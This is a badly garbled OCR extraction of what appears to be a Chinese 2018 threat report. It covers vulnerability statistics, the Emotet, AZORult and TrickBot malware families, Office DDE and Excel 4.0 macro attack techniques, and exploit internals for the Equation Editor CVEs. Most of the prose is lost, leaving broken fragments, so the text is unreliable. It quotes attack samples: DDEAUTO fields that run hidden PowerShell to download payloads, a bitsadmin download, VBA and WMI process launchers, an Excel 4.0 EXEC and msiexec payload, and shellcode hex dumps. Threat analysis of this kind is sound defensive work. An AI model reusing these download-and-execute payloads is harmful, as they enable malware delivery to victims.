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1.1

2018 12895 2017 2.2%
264 2017 41.7%l
2017 453 6003 6728 13184
2018 264 5722 6909 12895
/ -41.7% -4.7% +2.7% -2.2%
42018
Google Microsoft IBM Cisco Adobe Oracle Apple Linux
Foxit ]
2017 2018
Linux 1149 1604
Oracle 830 733
Microsoft 701 706
Google 1055 525
Adobe 358 478
Cisco 476 461
IBM 491 413
Apple 504 359
Foxit 69 324
52018
706 Windows7 Windows10 Windows Server

2008 Windows Server 2012 Windows Server 2016 Windows Edge Microsoft Office

]

2017 2018

Windows 7 229 162
Windows 10 265 257
Windows Server 2008 243 156




Windows Server 2012 235 163
Windows Server 2016 249 246
Windows Edge 201 161
Microsoft Office 53 84

6 2018  Windows

2017 J
2017 2018
34 60
48 63
36 13
0 25
72018
GPON D-Link TP-Link Linksys TBKVision
NUUO NVRMini2 2017 ]
2017 2018
GPON 229 162
D-Link 265 257
TP-Link 243 156
Linksys 235 163
TBKVision 249 246
NUUO NVRMini2 201 161
8 2018
1.2

] ]
1 “Meltdown” “Spectre”



http://www.baidu.com/link?url=T1sSrrWb4wgCFnVrpPAQWhiwBf4mPlxyAhN5w9CG-S-7oEq89-Uut4V3fgRz23dpjvCsyhF_X1aO77LhyI4KzZj3Wd-btlg8CZ6g8-H9CXC




4 ThinkPHP

2018 12 10 ThinkPHP
ThinkPHP
)| 2018 9 Oday
ThinkPHP Request
method
filtervValue()
]
5 Flash Oday APT
2018 2 1 Adobe
Flash ODay CVE-2018-4878 ]
]l 2018 3 Lazarus CVE-2018-4878
DOC

CVE-2018-5002 2018 6 7

Excel

2018 11 29

APT ]
)|
Oday CVE-2018-15982
6
)|
1 ]
]
2018 BECi SocialChains Hexagoni EOS

7 Apache Struts2
Struts Apache ASF
2004 3
JavakEE Web MVC

ASF ]

] Request
$_POST

call_user_func()

APSA18-01 Adobe

CERT
FALLCHILL
)|
APT Hacking Team

Flash

)| Jakarta
JavaServlet/JSP

MVC



CVE-2019-0708

)| 2007 7 23  Struts2
Struts2 ]
1 2016 ] 2017
] 2018 Struts2 )|
2018 8 22 Apache Struts2
CVE-2018-11776 S2-057
] Lucky ]
8 WIiInRAR CVE-2018-20250
WInRAR 12019
WIinRAR ACE
CVE-2018-20250 ] WinRAR ACE
19 unacev2.dill unacev2.dll
)
GandCrab APT331 APT
)|
9 CVE-2019-0708
2019 5 14
Windows ]
J
SMB
]
1.3
1 Windows SMB (* )
2017 NSA
]
)|
VenusEye 2018 VenusEye
] 15.82% 14.60%

11.45% 9.70% 6.79%







2017 WannaCry ]
WannaCry
)|
2 HG532 CVE-2017-17215
2017 HG532
37215 ] 2018 loT
Hakai Mirai Satori Okiru loT
]
3 11s6 CVE-2017-7269
IS Internet Information Services

Microsoft Windows
2017 3
WebDAV
Windows Server 2003 R2
4 MikroTik RouterOS

6.0

Microsoft Windows Server 2003 R2

)|
Internet Information Services (lIS)
ScStoragePathFromUrl ]
2016 718 ]
CVE-2018-14847

MikroTik RouterOS Linux ARM MIPS x86
] PC
J
2018 4 MikroTik ]
]
root POCI loT
Mikrotik
]
5 Apache Struts2 S$2-045/CVE-2017-5638 S2-057/CVE-2018-11776
Struts  Apache Struts Java Servlet/JSP
Java EE Web Model-View-Controller(MVC) MVC
] Web
]
2017 4 Apache Struts 2 S2-045 Jakarta
)
2018 8 22  Apache Struts2 S2-
057 J
2018 Lucky S2-0451 S2-057




6 WebLogic WLS CVE-2017-3506/CVE-2017-10271

2017 WebLogic WLS
] CVE-2017-3506 Oracle WebLogic ~ WLS
1 Oracle 2017 4
CVE-2017-102711
wls-wsat XMLDecoder
XMLDecoder 2013
1 Oracle 2017 10
WebLogic ]
2018 WebLogic WebLogic
]
7 GPON CVE-2018-10561/CVE-2018-10562
2018 5 VPNMentor GPON ]
(CVE-2018-10561) CVE-2018-10562
]l CVE-2018-10561 ]
GPON HTTP
] CVE-2018-10562 1 GPON

ping  traceroute

] /tmp /diag.html

CVE-2018-10561 ]
10 5 mettlel

muhstiki mirais hajimes satori |




2.1

VenusEye 2018
13.29% ] 8.48% 7.93% 7.54%
7.23% | 2017 ]
2017 2018
11.59% 13.29%
10.40% 8.48%
10.15% 7.93%
9.57% 7.54%
577% 7.23%
92018 TOP5
72018
2018

15.48% 1 12.96% 14 7.53% 1 6.05% 4.56% | 2017
]




2017 2018
10.55% 15.48%
10.29% 12.96%
7.51% 7.53%
7.30% 6.05%
6.44% 4.56%
10 2018 TOPS
8 2018
C&C 5 89.23%
8.61% 0.58% 0.31% 0.26% |
2017 C&C 13.29% C&C
8.48% 7.93% 7.54%

7.23% I
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1l Venuskye 2018
IP 27% 12% 7%
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12 2018 IP
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2018

= Loki bot = Pony
FormBook = Agent Tesla

= HawkEye Keyloggger = NanoCore

= Betabot = Azorult

= NetWire RAT

16

Lokibot

Emotet
= Adwind
= Remcos

= DarkComet

Ponyl FormBook

2017




2018 )| VB Loader C# Loader
Delphi Loaderl

AZORult Lokibot FormBook
2016 2016.11. 2017.6.
W W W
W
DDoS
/ W W
http http http
12
2018 NanoCorel
Adwinds Remcos Betabotl
FlawedA NanoCor  NetWire ServHelper Betabot Remcos
mmyy e
2017.4 2015.12 2016.3 2018.11 2013.3 2017.04
W W W W
W W W W W W
DDoS W W W W
W W W A
APT TA505 TA505
tcp tcp tcp http http tcp

13




HawkEye Keylogger ] 2018

v8 V9 Net ConfuserEx
] Filezilla Beyluxe
Messenger CoreFTP 1 V9 Nirsoft MailPassView
WebBrowserPassView ]
HawkEye Agent Cyborg Keybase
Keylogger Tesla keylogger
20155 2016.11 201411 20154
W W W W
W W W W
W W
W W W W
W A W W
W W
W W W W
W W W
W W
MineCraft W W W
W W
W W
UAC W
FTP FTP FTP FTP EMAIL PHP

EMAIL PHP EMAIL PHP EMAIL PHP

14




2.3

2.2.1

Emotet

Browser)l
2014

1

2

2018 Emotet Ursnif  TrickBotl
Emotet TrickBot
2014.6 2016.10
W W
W W
W W
A W
DDoS
W W
W
http https
http
15
-Emotet
2014 6 V1
1 Emotet
] (Man-in-the-
Emotet V2

(ATS)

1 1 DDoS




3
2014 12 V2

2014 12 10 11:33:43l Emotet
1 Emotet V3 1 V3 V2
1 ATS ]
2 V3 ]
3 explorer.exe V2

OpenProcess+WriteProcessMemeory+CreateRemoteThreadl V3
OpenProcess+WriteProcessMemory+ZwClosel
4 V3

C&C
]

2017

AES ]

2017

2018
] 2017
Word

2019

] C&C

C&C

Emotet

Emotet

Emotet PDF IS

Emotet

RC4

Emotet )|
V4 1 V4 CBC

Cookie

Hash

2018

VBA CMD ]

2 http Cookie J

Emotet
1. C&C
Emotet C&C

ProtoBuf Google

2019 ]

2015

C&C
128

|

1 Emotet




17 Emotet 1

]

0x08 Emotet dli(crypt32.dlls urlmond.dlli user32.dlli userenv.dlli wininet.dll
wtsapi32.dll) 0x08 1 0x00l C&C
)|
0x12 Emotet BotID
0x12 1 0x18 BotID ]
0x18 1 ]
0x20 PEB Sessionidl
0x2D Emotet CRC32 RtiComputeCrc32 ]
0x32 ] O0x3A )
2017 4 V4 2019 5 lva
BotIDi 1 J 1 BotID J

1 SID  Hash 1 V4







19 Emotet 3

0x08 0x08 1 0x01 C&C )|

0x1D 0x00010116 dwMajorVersions dwMinorVersion.
wServicePackMajors wServicePackMinors wProductTypeld wProcessorArchitecturel
0x25 Emotet CRC32]

Ox2A ]
0x22 PEB Sessionldl
0x3A )|
V2 V3 ]
2017 4 2019 5 J
V2 V3 RC4
RSA RC4 1l RC4 )|

20 Emotet 4







2.2.2 -AZORult

AZORult ] 2016
Chthonic ] AZORult
]
AZORult ) )
AZORult ] AZORult C2

J ] J 1
1 ]
11 AZORult v2

] RTF
)|
21 AZORult V3.2
2018 7 AZORuIt V3.2 )|
] ]
31 AZORult V3.3
2018 10 AZORult V3.3 RIG )
C&C C&C
]
AZORult
)
AZORult
1
1
AZORult C&C )|
2 1 ]
3
Outlook WinSCP Skype Telegram
Steaml ]
4
scr.jpgl
5

GUIDJ Windows 1 1 0x6521458A



https://otx.alienvault.com/pulse/5a8edec1d399c40569fb3444/related
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://www.proofpoint.com/us/threat-insight/post/new-version-azorult-stealer-improves-loading-features-spreads-alongside
https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/

Hash | Hash
]

AZORult ]
Local system WTSQueryUserToken
)|

%temp¥\2fda
8 C&C

C&C
] 3
Info Windows
pwds
cooks cookies
file cookie
J | J 1 CPU

2.2.3 -TrickBot

TrickBot 2016
1 TrickBot
)| C&C
TrickBot

C&C

1 CPU

C&C

SID  token
CreateProcessAsUser

C&Cl

IDJ Windows 1

1 RAMu

svchost

j|

1

injectDIl

2016-10

systeminfo

1 CPUL

J|

2016-10




mailsearcher ] 2016-12
wormDlII ] 2017-07
outlook Microsoft Outlook ] 2017-08
importDIl 1 Cookie 2017-08

]

bcClientDIITest Socksb C&C ] 2017-08

shareDll wormDlI 2017-09
]

domainDlII ] 2017-12
tabDlI tabDll 2018-03

screenLockerl

networkDLL J domainDII 2018-04

C&C networkDLLI
squiDli ] 2018-04

NewBCtestDlI Socks5 ] 2018-05
vneDll hVNC ] 2018-05
pwgrab Outlookus Filezillax WIinSCP. sftps VNCl 2018-10

PuTTYas RDP 1 Chromes Firefoxa IE1 Edge
]
psfin POS ) 2018-11
17 TrickBot 1
4 J 1 )| ]
POS ]
wormbDlII
shareDlI
tabDlI
injectDII
outlook
importDIl
pwgrab
squiDll
bcClientDlITest







61A128a87
61A12 004
61A12811
61A12818
61A1281F
61A12826
61A12 82D
61A12838
61A12837
61A1283E
61A12 845

anf
aGov_af
aCom_af
alrg_af
aMet_af
aEdu_af
afng
aCom_ag
alvrg_ag
aHet_ag
aCo_ag

22 TrickBot

23 TrickBot

db
db
db
db
db
db
db
db
db
db
db

‘af',@

‘gov.af’
‘com.af”
‘org.af’
‘net.af’
‘edu.af’
‘ag',@a

‘com.ag’
‘org.ag’
‘net.ag’

‘co.aqg’,

1







25 TrickBot 4

5 psfin32
POS )| POS
] 1 ATM
] psfin32 POS
LDAP dnsHostName
*POS*1 *LANE*) *BOH*) *TERM*) *REG*) *STORE*J *ALOHA*J *CASH*I *RETAIL*J
*MICROS*
sAMAccountNamel
26 TrickBot 5
Site Name

18884438 ; const WCHAR alObjectcateqgo 2

10004438 aObjectcatego_2:

10004438 unicode B, <{&{objectCategory=site)(name=%s))>,0
1880447C align 16h

27 TrickBot 6




Organizational Unit

10004480 ; const WCHAR aObjectcatego 3
16604480 alObjectcatego_3:

10804480 unicode 8, <(&{objectcategory-organizationalUnit)({name=%s))>,8
28 TrickBot 6
userAccount
29 TrickBot 7
Log |
push offset ai123 ;123
push offset aHeapallocRetur ; "HeapAlloc returned HULL™
push offset alog ; "Log"™
call eax :; dword_1686661C
30 TrickBot 8
C&C ]
6 pwgrab32
Outlooku Filezillax WinSCPu sftps VNC1 PuTTYs RDP 1 Chromeu Firefoxu
I[Es Edge ] VNCJ1 PuTTYs RDP 2019 2
]
7 shareDII32
TrickBot IPC$ ]
8 systeminfo32
C&C 1 CPUI J
J ]
9 wormDII32

TrickBot SMB ]







US/security-guidance/advisory/CVE-2018-0798
https://helpx.adobe.com/security/products/flash-
2018 2 CVE-2018-4878
player/apsal8-01.html
https.//portal.msrc.microsoft.com/en-
2018 5 CVE-2018-8174 ) ) )
US/security-guidance/advisory/CVE-2018-8174
https://helpx.adobe.com/security/products/flash-
2018 6 CVE-2018-5002
player/apsb18-19.html
https.//portal.msrc.microsoft.com/en-
2018 7 CVE-2018-8242 ) ) ]
US/security-guidance/advisory/CVE-2018-8242
https://portal.msrc.microsoft.com/en-
2018 7 CVE-2018-8373 _ _ _
US/security-guidance/advisory/CVE-2018-8373
https.//helpx.adobe.com/security/products/flash-
2018 12 CVE-2018-15982
player/apsb18-42.html
19 2018 Office

CVE-2018-0802 CVE-

CVE-2018-8242  CVE-2018-8373

2018

CVE-2018-5002
1%
CVE-2Ul15-456/(8
2%

CVE-2018-83(3

1%
CVE-2018-8174

3% 'E-2017-8759

15%

CVE-2017-8570

2018-0798 CVE-2017-11882
CVE-2018-8174 )

CVE-2017-11882 CVE-2017-0199

mCVE-2017-11882
CVE-2018-0802
CVE-2018-0798

CVE-2017-11882 CVE-2017-0199

0
45k m CVE-2017-8570

CVE-2017-8759
m CVE-2018-8174

4%
S UL SO L CVE-2018-0802 m CVE-2018-8373
% % m CVE-2018-4878

LVE-ZUl5-U( Y0
1%

m CVE-2018-5002

32 Office



https://helpx.adobe.com/security/products/flash-player/apsa18-01.html
https://helpx.adobe.com/security/products/flash-player/apsa18-01.html
https://helpx.adobe.com/security/products/flash-player/apsb18-19.html
https://helpx.adobe.com/security/products/flash-player/apsb18-19.html
https://helpx.adobe.com/security/products/flash-player/apsb18-42.html
https://helpx.adobe.com/security/products/flash-player/apsb18-42.html

Office CVE-2017-118821
CVE-2018-0802 CVE-2018-07981 CVE-2017-11882
2017 ] CVE-2018-0802 CVE-2017-
11882 CVE-2017-11882

CVE-2017-01991 CVE-2017-8570 CVE-2017-8759
1 2018 IE CVE-2018-81741 CVE-2018-8373 Flash
CVE-2018-48781 CVE-2018-5002) CVE-2018-15982  APT
J

65.16% RTF ] RTF
] RTF /objupdate /objautlink OLE
)|
RTF ]
3.1.2
Office 60%
]
CFB doc xls OOXML docm xIsm
RTF )| RTF CFB
OOXML ]
RTF ]
)|
] OOXML docx  xlsx
docm xIlsm ]
]
)|
2018 10 Outflank Excel 4.0 shellcode POC
] Excel 4.0 ] VBA

] POC Excel4.0




3.1.3 DDE

DDE(Dynamic Data Exchange) Office
l 2017 11 DDE
]
DDE
)|

3.1.3.1 DDE

Word DDE )|

33 DDE 1

DDEAUTO DDE

123{ DDEAUTO C:\\Windows\\System32\\WindowsPowerShel\\v1.0\\powershell.exe "-w hidden -
noexit [Reflection.Assembly]::Load([Convert]::FromBaseb4String((New-Object
Net.WebClient).DownloadStrin

134560

34 DDE 2




DDE ALT+f9

Excel 1 Excel \10LE

moniker 1

¥ « fc| =FExcel.Sheet. 8| ' C:\Usersitest—win7 \DesktopiBookl, g1’ 17°"°
E il G H I T E L
35 DDE 3

fe| =cmd|’ /¢ @echo Set Foyewodo = CreateOhject ("Wscript.Shell”) > Pa.vbs & @echo Zoyewodo.Run “emd /o bitsadnin ftransfer 8 /download
*, 0, True »» Pa.vhsk Pa.vhs' L40

36 DDE 4
DDE )|
DDE
msword  msExcel cmd )|
3.1.3.2 DDE
Office OLE
)| DDE WordDocument
Workbook )|
DDE ]
CFB doc WordDocument FIB

0x800 ]







SupBook DDE ]

41 DDE 9

RTF \field \fldinst \insrsidxxx ]

‘par }{\field{\*\fldinst {\rtlch\fcsl ‘\afl0\afs24 \ltrch\fcs0 \E0\fs24\insrsidl5%4632 \hich\afO\dbch\af31505\loch\£0 DDEAUTC

"COMARIndowS \ A\ SYsTem32\\\\cHD.eXe "™ "/C \tab POWErsHEL1l.eXE\tab —ex\tab BypaSs'tab _NOP\tab -wh\tab HIdDen\tab
(NEw-0B3ieCT SyStEm.NET.weBCLiENT) .dowNloADFILe (\tab \tab ,\tab '%apPDAtL%.exe'htab )\tab
:\tab saps\tab 'hppdata%.exe'"}}{\fldrslc }}\sectd \ltrsect\limexO\sectdefaultclisftnbj {\rtlch\fcsl “af31507 \ltrch\fcso

42 DDE 10

ooxml document.xml

externallink(\x\externalLinks\externalLinkxx.xml) DDE ]

<w:fldChar w:fldCharType="begin"/>

</wirs
- <wirs
<w:instrText>DDEAUTO C:\\Windows\\System32\\cmd.exe "/k powershell.exe -NoP -sta -NonI -W Hidden $e=(New-Object
System.Net.WebClient).DownluadString{“;powershell -noP -sta -w 1 -enc $e "</w:instrText>
<fwirs

43 DDE 11

44 DDE 12










Excel

Office payload

l POC

Shell ("cmd.exe /c powershell

c:\windows32\system32\calc.exe")

1 Excel

Excel

46 Office 1

Frivate Sub Workbook_Open()

powers = Sheetl. Range ("C27). Text

hell = Sheetl. Range ("C4™). Taxt

cale = Sheetl. Range ("CB™). Text

Shell (Memd. exe fo * + powers + hell + calel
End Sub

47 Office 2




21

] textbox
]
UserForml
48 Office 3
]
49 Office 4
]

Font $f$
ForeColaor [ #Hs0000005 &

50 Office 5

)|

Frivate Sub Workbook Open()

powers = UserForml. TextBoxl Text

hell = UserForml. TextBoxZ Text

cale = UserForml. TextBoxl. Tag

Shell (emd. exe fe  + powers + hell + calel
End Sub

51 Office 6

3l




52 Office 7

]
Frivate Sub Workboole Open ()
Dim prop As DocumentProperty
For Each prop In ActiwveWorkbook BuiltinllocumentProperties
If prop. Hame = "Title” Then
cmdtitle = prop. Value
ElseIf prop. Fame = “Subject” Then
cmdsubject = prop. Value
ElseIf prop. Fame = “Comments” Then
cmdcomments = prop. ¥alue
End If
Hext
Shell emdtitle + cmdsubject + cmdcomments
End Sub
53 Office 8
shellcode payload
payload
Office ] ]
COM  WMI

Priwate Sub Workbook Open()

GetObject ("winmgmts: ™). Get ("Win3Z_Frocessz") Create “omd. exe /o powershell o 'windowshsystem3Zhcale. exe”, =, 5, b
End Sub

54 1




NULLI
J WMI WMI )|

=1 ] WmiPreSE.exe

8] :- |
B X

| calc.exe

55 2

Office WMI
] Explorer ]

Friwate Sub Workbook Open()

Const eclsid = “{c03afd90-£2al-1141-8455-00a0091 £3580]

Set obj = GetDObject (Mnew:™ & clsid)

obj. document. Application. shellexecute “omd. exe”, “fco powershell co:hwindows'system3Zhcale. exe”

End Sub
56 3
57 4
3.2.4 Excel 4.0
Outflank Excel 4.0 shellcode POC
1 Excel 4.0 Office VBA 1
] POC Excel 4.0




3.24.1

Excel 4.0 26 VBA Office
Excel 4.0 |
58 Excel 4.0 1
Excel4.0 ]

1 =EXEC{"calc”)

2 =ALERT("calc start”)

3 =HALT()

A
59 Excel 4.0 2

Auto_Open ]




60 Excel 4.0 3

POC ]
3.24.2
Excel 4.0
)|
]
CFB
MS-XLS workbook workbook
global
E ExcelBinaryDocument[0]
[+ Globals
=} Worksheets[4]
[} SubStream[0]
[} SubStream[1]
[} SubStream[2]
[+} SubStream[3]
61 Excel 4.0 4
record substream
AELLITEEIloC 08 10 00 00 06 05 00 A9 1F CD 07 C9 00 01 00
00000610 (WEDEE1 00 02 00 BO 04 C1 00 02 00 00 0O
AANNAEDIN 2 OnANoAN AN B/oAN 7TA oANd AT o An Al 20 20 20 2N 20
62 Excel 4.0 5
global record

0x0809 BOF 0x10l substream

Excel 4.0

workbook ]

substream
]

record 1 record




Ox0A(EOF)I BOF EOF substream

workbook ]

workbook workbook
global record global
record substream ]

2.4.28 BoundSheetd

The BoundSheet8 record specifies basic information about a sheet (1), including the sheet (1)
name, hidden state, and type of shaet (1).

1 2 =)
gl1j2|13|4|5|6|7|8|2(0|1|2|3|4|5|e|7|8|2|0|1(2|3|4|5|e|7|8(9|0]|1
bPlyPos
A unused dt stName (variable)
63 Excel 4.0 6
0x85  record BoundSheet8 hsState

A ]

Value Meaning

0x00 Wisible

Ox01 Hidden

0w0Z2 Wery Hidden; the sheet (1) is hidden and cannot be displayed using the user interface.

64 Excel 4.0 7

dt stName ]




Value | Meaning

000 Worksheet or dialog sheet

The sheet (1) substream that starts with the BOF record specified in IbPlyPos MUST
contain one WsBool record. If the fDialog field in that WsBool is 1 then the sheet is dialog
sheet. Otherwise, the sheet (1) is a worksheet.

Ox01 Macro sheet

Ow02 Chart sheet

006 VBA module

65 Excel 4.0 8

I B T S T T s B om o om sk o w I

S e Sheet2...

02 -5 Macrol.

00 OE 00 8C 35 00 00 00 00 06 00 53 68 65 &5 74 SR - T Sheet
66 Excel 4.0 9
Excel 4.0
substream 0x323E hsState 2 dat 1
Macro Sheet Macroll WorkSheet xls
3 Excel 4.0
Macro Sheet ] global Macro Sheet
Excel 40 |
)| ]
Macro Sheet workbook substream

6 formula recordl







0x006E

70 Excel 4.0 13
)|
calc ]
0x42 PtgFunVarl
Oxd2 PtgFuncyar
71 Excel 4.0 14
72 Excel 4.0 15
caparams 1 ]
15 ]
Ftab Ox6E EXECI




Ox006E | EXEC
73 Excel 4.0 16
record exec calc
formula  record
calc start halt()l
3 record
)|
ooxml ]
74 Excel 4.0 17
macrosheets
worksheetl

75 Excel 4.0 18

xml ]

macrosheet

alert



3.24.3
Outflank POC windows API )|
76 Excel 4.0 19
POC VirtualAlloc
shellcode END WriteProcessMemory ]
CreateThread )|

POC Excel 4.0 ]




1 #/A  =Macrol
2
3 TRUE =—halt
4 Macrol
5 #A =Wacro?
3
7
8 TRUE  =return
9
10
11
12 |Macro2 =exec ::E:E 1430
13
14 | 7 331
15
16
17 TRUE =return
18
77 Excel 4.0 20
A30 |
|25
| 30 |msiexec_exe RETURN=185 /i ksw='%TE_L"IF'%'
| 31 | msiex "
| 32 ec.exe RETURN=185 =concatenate (adl, ad2, c30, ad3, ad4d
[33 | 4
| 34 /g ksw="%TEMP%’
135 TRUE =halt
78 Excel 4.0 21
A30
msiexec payload
]
3.3
3.4.1 CVE-2017-11882/CVE-2018-
0802/CVE-2018-0798
2017 11 CVE-2017-11882

Office ]




ASLRI
CVE-2017-11882

0798
ASLR ]
)|
Office
EQNEDT32 ] Office
Office ] 2000
ASLRJs DEP strcpy
EQNEDT32.EXE Office
] WINWORD.EXE EXCE
EQNEDT32.EXE ]

34.1.1

3.4.1.1.1 CVE-2017-11882

CVE-2017-11882

Equation Native ]

79 CVE-2017-11882

CVE-2018-0802 CVE-2018-
EQNEDT32.EXE
Office
OLE
]
LEXE Office
FONT tag=8
]
4
1




0x1C ]

80 CVE-2017-11882 2
5 MTEF ]
81 CVE-2017-11882 3
] Ox0A 0x01

FONT tag=8 ]




82 CVE-2017-11882 4

typeface=0x5A style=0x5A \xB8\x44..\x14\x21\x40
]
] 0x41160F
83 CVE-2017-11882 5
ebp+0x8 0x41160F
shellcode DEP
shellcode shellcode ebp-
0x28 ebp 0x2C ebp+0x4 ]
0x30 0x2C 0x04

1 shellcode







shellcode ]

shellcode ret shellcode ]
WinExec
| shellcode )|

3.4.1.1.2 CVE-2018-0802

CVE-2017-11882 CVE-2018-08021 CVE-
2018-0802 CVE-2017-11882 FONT tag=8
) CVE-
2017-11882 ]
CVE-2018-0802 CVE-2017-11882 Office
l CVE-2018-0802 CVE-2017-
11882 ]
]
CVE-2017-11882 ]

0001 02032 0405 Osj7 0209 OROB OCOD OEOF 0123245&785ABCDEF

I 0200 | 100 0000 0200 SEC4 RSO0 Q000 Q000 Q000 ... ... k... ...
0x10 | CEA7 5C00 C4EE SBOO 0000 0000 0301 0003 E&\.Ai[.........
0220 | OROA ,':IS':I':I 0133 CO50 38D44 2452 S50EB VFE€3 . .... 3iP D3RPElc
0230 E:"E4.EEE5 T8€5 Z0ZF €325 T4€D 7025 SCEl md.exe Scohtmpiha
Dx40 | 7574 €37R 2ZE€4 &CeC 2020 2020 2020 2020 uth=z.dll
2020 2020 2020 2020 2020 2020 2020 2020 |:|

Ox€0 | 2020 2020 2020 2020 2020 2020 2020 2020

0x70 | 2020 2020 2020 2020 2020 2020 2020 2020

0x20 | 2020 2020 2020 2020 2020 2020 2020 2020

0x50 | 2020 2020 2020 2020 2020 2020 2020 2020

OxA0 | 2020 2020 2020 2020 2020 2020 202& S08B &
0xBO | 4424 2C0&€ ZD51 RAEFF ZCI_EICI 0000 0000 DF, £-07FaA%. ... ..
02C0 | Q000 0000 ad S

87 CVE-2017-0802 1

ASLR
1 ASLR 16 16 ]




/0 16
] 16
] 0x421E39 0x4200yy
0x4200251
:text;DL'I'fll FF32 sul::u:41 FCDB
text:0041FFAD sub_41FF33
Sext:00420025 sub_41FFAE
Fext:0042010C sub_420026
text:00420232 sub_42010D
88 CVE-2017-0802
16
0x421E39]

89 CVE-2017-0802

90 CVE-2017-0802

xxxx00yy

IDA

ret ret

[R=1 10}
retn
retn
retn
retn
retn

\x25\x001
ASLR







93 CVE-2017-0802 7

94 CVE-2017-0802 8
0x421774 0x421774
J| 49 if )|
HH4L Y U | HUBBBH Y
A848F 208 KHIETS 2
95 CVE-2017-0802 9
GetTextFaceA




0x4115A71

1B00L __cdecl sub_WA15A7{LFCSTR 1pString1)
2K

3| CHAR String2; //

N

5| return strlen( ) *= B && sub_M116BF{{char =) ., B8, (int)& ) && tlstrocmpA( . B ):
6y
96 CVE-2017-0802 10
0x41160F CVE-2017-11882 ]
0x96  IpStringl 0x2D
J 0x20 0x20
0x20 \0 )
o |
97 CVE-2017-0802 11
3 a3 0 0 ] 3 1
0x421774 ]

@e1c1912|[ > 8370 10 66 Emh dword ptr ss:[ebp+8x18],
ae1Cc1941D (]| .. BF84 BDOOOBO EQHEDT32.861C19B8

55:[ BB4OF2FC]=-00080001
PtskE 881C18E9

98 CVE-2017-0802 12




99 CVE-2017-0802 13

B848F1F8( OA4AFZ2384
B848F1FC| 2820800861

G840F2008| 00000008
G040F20Y4| B048F314

100 CVE-2017-0802 14
0x421774 1
shellcode API
0x421E39 )|
)|
101 CVE-2017-0802 15
0x421774 ]
16 ASLR 16 ret

poD919EF [T Fetn
eeD919F 8| 55 ebp

8ep9ee25 (EQHEDT32.08D98025)

102 CVE-2017-0802 16




0009 0625 LN retn
8eD280826 (% 55 ebp

BB3BF1EQ

103 CVE-2017-0802 17

ret EIP 1) 1
shellcode shellcode )|

3.4.1.1.3 CVE-2018-0798

CVE-2018-0798 CVE-2018-0802 ] CVE-2018-0798

MATRIX tag=5
J FONT CVE-2017-11882  CVE-

2018-0802 ]




104 CVE-2017-0798 1

MATRIX

MATRIX )




MATRIX record (5):

Consists of:

+1

tag (5)

[ ] if xfLMOVE is set

[valign] vertical alignment of matrix within container
[h_just] horizontal alignment within columns

[v_just] vertical alignment within columns

[rows] number of rows

[cols] number of columns

[row_parts] row partition line types

[col_parts] column partition line types

[object list] list of , one for each element of the matrix, in order from left-
to-right and top-to-bottom

105 CVE-2017-0802 2

rows=0x26 clos=0xff

size =(2*count + 9)/ 8l
] tag 0x43A78F ]

106 CVE-2017-0802 3




MATRIX tag=5 case 4 MATRIX
MATRIX ]

107 CVE-2017-0802 4
MATRIX ] GetByte 0x416352
ReadData 0x443F6C

J| ReadData 0x443F6C |




int _ cdecl ReadData{ int16 count, BYTE =buffer)
H

do_ dnt16 w25 A/

{  int result; /A7

| int16 size; //

= (2 = + 9) > 3:
while { 1 )

! * ++ = GetByte(};

| return

108 CVE-2017-0802 5

BE1Z2FLuSh| BB12FSEBR
BE1Z2FLSE( BB12F7EL
BE12FL5C| BABOOBOBG6
BE1Z2Fu60( OB12F7EL
BE1Z2Fu6L| OO0BOBOBO
BE12F468( 00008060 Tow parts
BE1Z2Fu6C( BO0BO0BOAA

8812F470| BOBBAAAO|col_parts
BE12F47L4( OO0BOBOBO
BE12FL7E| FF26BBSA
BE1Z2FL7C (-O012F4BL | ebp
BE1Z2FL4B80(| B043A851
BE12F484(| @A1D3D16 | ASCIT ™
BE12F488 (| B1280808

109 CVE-2017-0802 6
row_parts 0x18  col_parts 0x10
] row_parts 0x10 col_parts cols
col_parts ] rows=0x26 cols=0xff

row_parts  col_parts O0x0A  0x40l




e

PO12F478] 90909090 —
8012F47c| 98909098 1% [O] H it
PO12F480| BO4uDO2A|EQNEDT32 . 0B44DB2A
pe12F48s| PO4O13B3| EQNEDT32 . 084A13R3
PO12F488 | PO44DO2E| EQNEDT32 . 0B44D A2
PO12F48C| BA42CIBS

PO12F490| 68DBF7FF

BE12FL0L| BO454O00) ENMEDTIZ . 08454000
8E12F408( 1BEB18EB
B8E12F40C| B3IG61BEB
8e12F4aa| F3IBBSDC3
ae12FuaL| DCBICD33
812F4A8| FCBBE12B
BE12F4AC| ELFFALF3

110 CVE-2017-0802 7
1 0x4428F0 1
1 1
0 )|
111 CVE-2017-0802 8
0x437C9D 0 ]

1[int _ cdecl sub_437C9D{int a1, int a2}

2{

3| __dint16 v2; f/

4 __dint16 w3d; /F

S| dAnt wh; FF

1]

7 = ={ WORD =)}{al + h@);

] = ={ WORD =*){ + 42y,

9] while ( (unsigned  int8)GetByte() )

18| ¢

11 = sub_43A7BF();

12 = sub_4371CA{al, N ):

13 H

14 return H

15

112 CVE-2017-0802 9




ret add esp 4 1 4

add esp,
Et

113 CVE-2017-0802

CVE-2017-11882 CVE-2018-0798 ASLR
] 256 ROP
)|
CVE-2018-0802 l

2018 12 ASLR

J
3412

)

CVE-2017-11882 URL

34121 \10LE1ONative Equation Native

Equation Native OLE \1OLE10ONative ]
\10OLE1ONative |

-

_1614086233
1__L| OCompOhj

ﬁ OObjlnfo
~[ oole
A ATkl
114 1







: (®{int {_ stdcall =*)}{int, int =, signed int, int =))(*{_DWORD x) + 1233)¢( . & , 28, & Y:

118 5
]

119 6
120 7

4 0x747 )| 5 MTEF

MTEF version=3 ] FONT tag=8
]
Equation Native
Equation Native ]
)|
34.1.2.2 OLE
RTF ] RTF OLE \object

\objdata OLE CFB OLE ]







124 11

clsid

s PRy - i .. ey -y

= (=(int (_ stdcall ==){int, wchar_t =, _DWORD, signed int, _DWORD, int =)){*{_DUWORD =) + 16))(

aEquationHative,
8,
16,
a,
Guid);
if ( }

= (=(int (_ stdcall ==)(int, wchar_t =, _DWORD, signed int, _DWORD, int =)){=(_DWORD =) + 16))¢(

a0le1Bnative,
a,

16,

a,

Guia);

125 12

Equation Native \1OLE10ONative ]
4 RTF  OLE




126 13

CVE-2018-0802 ]
OLE ]
OLE CFB OLE
]
34123
CVE-2017-11882
J CVE-2017-11882 CVE-2018-
0802 ] CVE-2018-0798
ASLRI
]
CVE-2017-11882  CVE-
2018-0802 ]
